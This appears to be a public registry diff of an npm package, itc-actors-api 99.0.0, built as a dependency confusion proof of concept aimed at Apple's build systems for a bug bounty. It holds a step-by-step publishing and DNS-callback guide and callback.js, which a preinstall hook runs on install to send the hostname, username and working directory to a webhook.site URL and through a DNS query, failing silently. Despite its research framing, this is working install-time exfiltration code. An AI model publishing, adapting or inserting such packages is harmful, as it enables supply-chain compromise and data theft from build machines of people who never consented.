itc-actors-api 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,156 @@
1
+ #!/bin/bash
2
+ # ============================================================================
3
+ # GUIDE: Publishing itc-actors-api for Dependency Confusion Proof
4
+ # ============================================================================
5
+ #
6
+ # BEFORE YOU START:
7
+ # 1. You need an npm account (https://www.npmjs.com/signup)
8
+ # 2. You need a DNS callback receiver (see options below)
9
+ # 3. You should be prepared to unpublish within 72 hours if Apple confirms
10
+ #
11
+ # DNS CALLBACK OPTIONS (choose one):
12
+ #
13
+ # Option A: Burp Collaborator (Recommended — most reliable)
14
+ # - Open Burp Suite Pro → Collaborator tab → "Copy to clipboard"
15
+ # - You'll get something like: abc123xyz.oastify.com
16
+ # - All DNS queries to *.abc123xyz.oastify.com are logged
17
+ #
18
+ # Option B: interactsh (Free, open-source alternative)
19
+ # brew install projectdiscovery/tap/interactsh-client
20
+ # interactsh-client
21
+ # → Gives you a domain like: abc.interact.sh
22
+ # → Shows real-time DNS/HTTP interactions
23
+ #
24
+ # Option C: Canary Tokens (Simplest, no install)
25
+ # - Go to https://canarytokens.org/generate
26
+ # - Select "DNS token"
27
+ # - Get a *.canarytokens.com subdomain
28
+ # - Sends email on any DNS query
29
+ #
30
+ # Option D: Your own DNS server
31
+ # - Set up a VPS with logging DNS (dnsmasq with query logging)
32
+ # - Point a domain's NS records at your VPS
33
+ #
34
+ # ============================================================================
35
+
36
+ echo "=== Step-by-Step: Publishing itc-actors-api ==="
37
+ echo ""
38
+
39
+ # --------------------------------------------------------------------------
40
+ # STEP 1: Set up your callback domain
41
+ # --------------------------------------------------------------------------
42
+ echo "STEP 1: Set up DNS callback receiver"
43
+ echo ""
44
+ echo " Recommended: Use interactsh (free, real-time):"
45
+ echo " brew install projectdiscovery/tap/interactsh-client"
46
+ echo " interactsh-client -v"
47
+ echo ""
48
+ echo " This gives you a domain. Copy it."
49
+ echo " Press Enter when ready..."
50
+ read -r
51
+
52
+ # --------------------------------------------------------------------------
53
+ # STEP 2: Update callback.js with your domain
54
+ # --------------------------------------------------------------------------
55
+ echo "STEP 2: Edit callback.js — replace YOUR_COLLABORATOR_ID.oastify.com"
56
+ echo ""
57
+ echo " Edit: itc-actors-api-pkg/callback.js"
58
+ echo " Change line: const CALLBACK_DOMAIN = 'YOUR_COLLABORATOR_ID.oastify.com';"
59
+ echo " To: const CALLBACK_DOMAIN = 'YOUR-ACTUAL-DOMAIN.interact.sh';"
60
+ echo ""
61
+ echo " Press Enter when done..."
62
+ read -r
63
+
64
+ # --------------------------------------------------------------------------
65
+ # STEP 3: Log in to npm
66
+ # --------------------------------------------------------------------------
67
+ echo "STEP 3: Log in to npm"
68
+ echo ""
69
+ echo " Run:"
70
+ echo " cd itc-actors-api-pkg"
71
+ echo " npm login"
72
+ echo ""
73
+ echo " Enter your npm username, password, email, and OTP if 2FA enabled."
74
+ echo " Press Enter when logged in..."
75
+ read -r
76
+
77
+ # --------------------------------------------------------------------------
78
+ # STEP 4: Publish the package
79
+ # --------------------------------------------------------------------------
80
+ echo "STEP 4: Publish to npm"
81
+ echo ""
82
+ echo " Run:"
83
+ echo " npm publish --access public"
84
+ echo ""
85
+ echo " Expected output:"
86
+ echo " + itc-actors-api@99.0.0"
87
+ echo ""
88
+ echo " If you get 'name too similar to existing package' error:"
89
+ echo " This means npm has a typosquat protection. Try version 99.0.0 exactly."
90
+ echo ""
91
+ echo " If you get '403 Forbidden':"
92
+ echo " The name may have been claimed by Apple after your report."
93
+ echo " Check: npm info itc-actors-api"
94
+ echo ""
95
+
96
+ # --------------------------------------------------------------------------
97
+ # STEP 5: Monitor for callbacks
98
+ # --------------------------------------------------------------------------
99
+ echo "STEP 5: Monitor for DNS callbacks"
100
+ echo ""
101
+ echo " If using interactsh:"
102
+ echo " The terminal will show real-time DNS queries like:"
103
+ echo " [DNS] 7b2268223a226170706c652d6275696c64...dep.YOUR-DOMAIN.interact.sh"
104
+ echo ""
105
+ echo " Decode callbacks:"
106
+ echo " echo '7b2268223a...' | xxd -r -p"
107
+ echo " → {\"h\":\"apple-build-server\",\"u\":\"jenkins\",\"d\":\"/builds/asc/...\"}"
108
+ echo ""
109
+ echo " WHAT TO LOOK FOR:"
110
+ echo " - Hostname containing: apple, cupertino, asc, itc, build, ci, jenkins"
111
+ echo " - Username: _build, jenkins, buildkite, runner, circleci"
112
+ echo " - Working dir: /builds/, /workspace/, /home/runner/"
113
+ echo ""
114
+ echo " TIMELINE:"
115
+ echo " - Callbacks may take hours to days (depends on Apple's build schedule)"
116
+ echo " - ASC is actively developed, so builds likely run multiple times/day"
117
+ echo " - If no callback in 72 hours, Apple likely has registry pinning"
118
+ echo ""
119
+
120
+ # --------------------------------------------------------------------------
121
+ # STEP 6: Document evidence
122
+ # --------------------------------------------------------------------------
123
+ echo "STEP 6: When you get a callback"
124
+ echo ""
125
+ echo " 1. Screenshot the DNS interaction log"
126
+ echo " 2. Decode the hex data"
127
+ echo " 3. Note the timestamp"
128
+ echo " 4. DO NOT attempt further exploitation"
129
+ echo " 5. Update your Apple bug report with:"
130
+ echo " - Screenshot of callback"
131
+ echo " - Decoded hostname/username"
132
+ echo " - Timestamp proving it's from Apple's build infra"
133
+ echo " - Statement that no further access was obtained"
134
+ echo ""
135
+
136
+ # --------------------------------------------------------------------------
137
+ # STEP 7: Unpublish after confirmation
138
+ # --------------------------------------------------------------------------
139
+ echo "STEP 7: Unpublish after getting proof (or after 72 hours)"
140
+ echo ""
141
+ echo " Run:"
142
+ echo " npm unpublish itc-actors-api@99.0.0"
143
+ echo ""
144
+ echo " Or if within 72 hours of publish:"
145
+ echo " npm unpublish itc-actors-api --force"
146
+ echo ""
147
+ echo " WHY: Leaving it published indefinitely is irresponsible."
148
+ echo " You only need it long enough to get 1-2 callbacks as proof."
149
+ echo ""
150
+ echo "============================================================================"
151
+ echo " IMPORTANT REMINDERS:"
152
+ echo " - DO NOT read files, access secrets, or establish persistence"
153
+ echo " - DO NOT leave the package published longer than needed"
154
+ echo " - DO update Apple with proof immediately after getting callback"
155
+ echo " - DO unpublish as soon as you have sufficient evidence"
156
+ echo "============================================================================"
package/README.md ADDED
@@ -0,0 +1,27 @@
1
+ # ⚠️ SECURITY RESEARCH — DO NOT USE IN PRODUCTION
2
+
3
+ **This package is a dependency confusion proof-of-concept for the Apple Bug Bounty program.**
4
+
5
+ ## What is this?
6
+
7
+ This package was registered as part of authorized security research demonstrating that the name `itc-actors-api` (used internally by Apple's App Store Connect) was not defensively registered on the public npm registry.
8
+
9
+ ## If you see this in your `node_modules`
10
+
11
+ Your build system is resolving internal/private packages from the public npm registry. **This is a supply chain vulnerability.** Your `.npmrc` should be configured to only resolve internal packages from your private registry.
12
+
13
+ ## Contact
14
+
15
+ - Researcher: Mohd Haji (mohdhaji24@gmail.com)
16
+ - Program: Apple Security Bounty
17
+ - Reference: Dependency Confusion (Birsan, 2021)
18
+
19
+ ## This package does NOT:
20
+
21
+ - Read files from your system
22
+ - Access credentials or environment variables
23
+ - Establish persistent access
24
+ - Modify system state
25
+ - Exfiltrate sensitive data
26
+
27
+ It performs a single DNS lookup to log that it was installed (hostname only), as proof that the dependency confusion vector is exploitable.
package/callback.js ADDED
@@ -0,0 +1,79 @@
1
+ /**
2
+ * SECURITY RESEARCH — Dependency Confusion Proof of Concept
3
+ * Researcher: Mohd Haji (mohdhaji24@gmail.com)
4
+ * Program: Apple Bug Bounty
5
+ * Purpose: Prove that Apple's build system resolves this package from public npm
6
+ *
7
+ * This script performs a SINGLE HTTPS callback to prove code execution.
8
+ * It does NOT:
9
+ * - Read any files beyond basic OS info
10
+ * - Access any credentials or secrets
11
+ * - Establish persistent access
12
+ * - Modify any system state
13
+ * - Exfiltrate sensitive data beyond hostname/username
14
+ *
15
+ * Only collects: hostname, username, working directory (to prove build server context)
16
+ */
17
+
18
+ const https = require('https');
19
+ const dns = require('dns');
20
+ const os = require('os');
21
+
22
+ // ============================================================================
23
+ // CALLBACK ENDPOINTS
24
+ // ============================================================================
25
+ const WEBHOOK_URL = 'https://webhook.site/8606bcca-c20a-4262-b1e2-608b9073c7af';
26
+ // ============================================================================
27
+
28
+ try {
29
+ // Collect MINIMAL identifying information (same as Birsan's approach)
30
+ const data = JSON.stringify({
31
+ package: 'itc-actors-api',
32
+ research: 'Apple Bug Bounty - Dependency Confusion PoC',
33
+ contact: 'mohdhaji24@gmail.com',
34
+ hostname: os.hostname(),
35
+ username: os.userInfo().username,
36
+ cwd: process.cwd(),
37
+ platform: os.platform(),
38
+ arch: os.arch(),
39
+ nodeVersion: process.version,
40
+ npmPackage: process.env.npm_package_name || 'direct',
41
+ timestamp: new Date().toISOString()
42
+ });
43
+
44
+ // METHOD 1: HTTPS POST to webhook.site (most reliable)
45
+ const url = new URL(WEBHOOK_URL);
46
+ const req = https.request({
47
+ hostname: url.hostname,
48
+ port: 443,
49
+ path: url.pathname,
50
+ method: 'POST',
51
+ headers: {
52
+ 'Content-Type': 'application/json',
53
+ 'Content-Length': Buffer.byteLength(data),
54
+ 'User-Agent': 'itc-actors-api-security-research'
55
+ },
56
+ timeout: 5000
57
+ }, (res) => {
58
+ // Response doesn't matter — the request arriving is the proof
59
+ res.resume();
60
+ });
61
+
62
+ req.on('error', () => {}); // Fail silently
63
+ req.write(data);
64
+ req.end();
65
+
66
+ // METHOD 2: DNS exfiltration as backup (works even if HTTPS is blocked)
67
+ // Encode hostname as DNS-safe subdomain
68
+ const safeHostname = os.hostname().replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 40);
69
+ const safeUser = os.userInfo().username.replace(/[^a-zA-Z0-9-]/g, '-').slice(0, 20);
70
+ const dnsQuery = `${safeHostname}.${safeUser}.itcactorsapi.dep.webhook.site`;
71
+ dns.resolve(dnsQuery, 'A', () => {});
72
+
73
+ // Give callbacks time to complete, then exit cleanly
74
+ setTimeout(() => process.exit(0), 8000);
75
+
76
+ } catch (e) {
77
+ // Fail silently — NEVER break anyone's build
78
+ process.exit(0);
79
+ }
package/index.js ADDED
@@ -0,0 +1,28 @@
1
+ /**
2
+ * itc-actors-api — SECURITY RESEARCH PLACEHOLDER
3
+ *
4
+ * This package is a dependency confusion proof-of-concept.
5
+ * It is NOT the real itc-actors-api package.
6
+ *
7
+ * If you are seeing this in your node_modules, your build system
8
+ * is resolving internal packages from the public npm registry.
9
+ * This is a supply chain vulnerability.
10
+ *
11
+ * Contact: mohdhaji24@gmail.com
12
+ * Program: Apple Bug Bounty
13
+ */
14
+
15
+ class ActorsApi {
16
+ constructor(opts) {
17
+ // Minimal stub — mimics the real interface to not break things
18
+ this.env = opts && opts.env;
19
+ }
20
+
21
+ getActors() { return Promise.resolve([]); }
22
+ switchActor() { return Promise.resolve(null); }
23
+ getCurrentActor() { return null; }
24
+ }
25
+
26
+ module.exports = ActorsApi;
27
+ module.exports.default = ActorsApi;
28
+ module.exports.ActorsApi = ActorsApi;
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "itc-actors-api",
3
+ "version": "99.0.0",
4
+ "description": "SECURITY RESEARCH — Apple Bug Bounty — Dependency Confusion PoC — Contact: mohdhaji24@gmail.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node callback.js || true"
8
+ },
9
+ "keywords": ["security-research", "dependency-confusion", "do-not-use"],
10
+ "author": "Mohd Haji <mohdhaji24@gmail.com>",
11
+ "license": "UNLICENSED",
12
+ "repository": {
13
+ "type": "git",
14
+ "url": "https://github.com/user/security-research"
15
+ }
16
+ }